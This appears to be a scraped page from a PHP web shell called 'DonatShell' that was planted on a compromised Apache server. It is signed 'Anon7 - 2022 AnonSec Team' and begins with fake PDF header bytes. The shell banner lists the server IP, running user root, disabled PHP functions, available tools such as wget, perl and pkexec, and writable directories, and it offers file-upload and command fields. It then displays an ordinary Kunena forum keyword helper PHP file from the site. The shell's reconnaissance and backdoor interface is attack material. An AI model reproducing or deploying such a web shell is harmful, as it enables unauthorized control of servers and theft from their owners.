%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,mail,shell_exec,system,proc_open,popen,ini_alter,dl,proc_close,curl_exec,curl_multi_exec,readfile,parse_ini_file,escapeshellarg,escapeshellcmd,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,mail,php_uname,phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/libraries/kunena/keyword/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/libraries/kunena/keyword/helper.php
<?php
/**
 * Kunena Component
 * @package Kunena.Framework
 * @subpackage Keyword
 *
 * @copyright (C) 2008 - 2014 Kunena Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link http://www.kunena.org
 **/
defined ( '_JEXEC' ) or die ();

/**
 * Kunena Keyword Helper Class
 */
class KunenaKeywordHelper {
	/**
	 * @var array|KunenaKeyword[]
	 */
	protected static $_instances = array();
	protected static $_topics = array();
	protected static $_users = array();

	private function __construct() {}

	/**
	 * Returns KunenaKeyword object
	 *
	 * @param	mixed	$identifier		The keywords to load - by Id
	 * @param	bool	$reload
	 * @return	KunenaKeyword		The keyword object.
	 * @since	1.7
	 */
	static public function get($identifier, $reload = false) {
		if ($identifier instanceof KunenaKeyword) {
			return $identifier;
		}
		$keyword = self::cleanKeyword($identifier);
		if (!$keyword) return false;
		if ($reload || empty ( self::$_instances [$keyword] )) {
			self::loadKeywords(array($keyword), true);
		}

		return self::$_instances [$keyword];
	}

	static public function cleanKeyword($keyword) {
		// Keyword must always be a string
		if (!is_string($keyword))
			return '';

		// Do not allow starting or trailing space, odd/repeating space characters, double quotes
		return preg_replace(array('/\s+/u', '/[",]/u'), array(' ', ''), trim($keyword));
	}

	static public function cleanKeywords($keywords, $glue=null) {
		if (is_string($keywords)) {
			// By default accept strings like this: keyword, "My tag", many different tags
			if ($glue === null) $glue = '[\s,]*"([^"]+)"[\s,]*|[\s,]+';
			if ($glue) {
				$keywords = preg_split('/'.$glue.'/u', $keywords, 0, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
			} else {
				$keywords = array($keywords);
			}
		}
		if (is_array($keywords)) {
			foreach ($keywords as $id=>&$keyword) {
				$keyword = self::cleanKeyword($keyword);
				if (empty($keyword)) {
					// Remove empty keywords
					unset($keywords[$id]);
				}
			}
		} else {
			$keywords = array();
		}
		return $keywords;
	}

	static public function getByKeywords($keywords, $glue=null) {
		$keywords = self::cleanKeywords($keywords, $glue);
		if (empty($keywords))
			return array();

		self::loadKeywords($keywords);

		$list = array ();
		foreach ( $keywords as $keyword ) {
			if (!empty(self::$_instances [$keyword])) {
				$list [$keyword] = self::$_instances [$keyword];
			}
		}
		return $list;
	}

	static public function getByTopics($ids = false, $userid=0) {
		$userid = (int) $userid;
		if ($ids === false) {
			$ids = array_keys(KunenaForumTopicHelper::getTopics());
		} elseif (is_array ($ids) ) {
			$ids = array_unique($ids);
		} else {
			$ids = array($ids);
			$single = true;
		}
		self::loadTopics($ids, $userid);

		$list = array ();
		if (isset($single)) {
			$list = !empty(self::$_users [$userid][end($ids)]) ? self::$_users [$userid][end($ids)] : array();
		} else {
			foreach ( $ids as $id ) {
				if (!empty(self::$_users [$userid][$id])) {
					$list [$id] = self::$_users [$userid][$id];
				}
			}
		}
		return $list;
	}

	static public function setTopicKeywords($keywords, $topicid, $userid, $glue=null) {
		// Load keywords from the topic
		if (!isset(self::$_topics [$topicid][$userid])) {
			self::loadTopics(array($topicid), $userid);
		}
		$oldkeywords = isset(self::$_topics [$topicid][$userid]) ? self::$_topics [$topicid][$userid] : array();

		// Load new keywords missing from the topic
		$keywords = self::cleanKeywords($keywords, $glue);
		self::loadKeywords($keywords);

		$keywords = array_flip($keywords);
		$dellist = array_diff_key ( $oldkeywords, $keywords );
		$addlist = array_diff_key ( $keywords, $oldkeywords );
		foreach ($dellist as $keyword=>$i) {
			$instance = self::$_instances [$keyword];
			$instance->delTopic($topicid, $userid);
		}
		foreach ($addlist as $keyword=>$i) {
			$instance = self::$_instances [$keyword];
			$instance->addTopic($topicid, $userid);
		}
		return $keywords;
	}

	static function recount($ids=false) {
	}

	// Internal functions

	static protected function loadKeywords($keywords, $reload=false) {
		$db = JFactory::getDBO ();
		foreach ($keywords as $keyword) {
			if ($reload || !isset(self::$_instances [$keyword])) {
				self::$_instances [$keyword] = new KunenaKeyword ($keyword);
				$list[] = $db->quote($keyword);
			}
		}
		if (empty($list))
			return;

		$list = implode(',', $list);
		$query = "SELECT * FROM #__kunena_keywords WHERE name IN ({$list})";
		$db->setQuery ( $query );
		$results = (array) $db->loadAssocList ();
		KunenaError::checkDatabaseError ();

		foreach ( $results as $result ) {
			self::$_instances [$result['name']]->bind ( $result );
			self::$_instances [$result['name']]->exists(true);
		}
		unset ($results);
	}

	static protected function loadTopics($ids, $userid, $reload=false) {
		foreach ($ids as $i=>$id) {
			if (!$id || (!$reload && isset(self::$_topics [$id][$userid]))) {
				unset($ids[$i]);
			} else {
				self::$_topics [$id][$userid] = array();
			}
		}
		if (empty($ids))
			return;

		$idlist = implode(',', $ids);
		$db = JFactory::getDBO ();
		$query = "SELECT * FROM #__kunena_keywords_map AS m INNER JOIN #__kunena_keywords AS k ON m.keyword_id=k.id WHERE m.topic_id IN ({$idlist}) AND m.user_id IN (0,{$userid})";
		$db->setQuery ( $query );
		$results = (array) $db->loadAssocList ();
		KunenaError::checkDatabaseError ();

		foreach ( $results as $result ) {
			if (!isset(self::$_instances [$result['name']])) {
				self::$_instances [$result['name']] = new KunenaKeyword ($result['name']);
				self::$_instances [$result['name']]->bind ( $result );
				self::$_instances [$result['name']]->exists(true);
			}
			self::$_topics [$result['topic_id']][$result['user_id']][$result['name']] = 1;
			self::$_users [$result['user_id']][$result['topic_id']][$result['name']] = 1;
		}
		unset ($results);
	}
}

Anon7 - 2022
AnonSec Team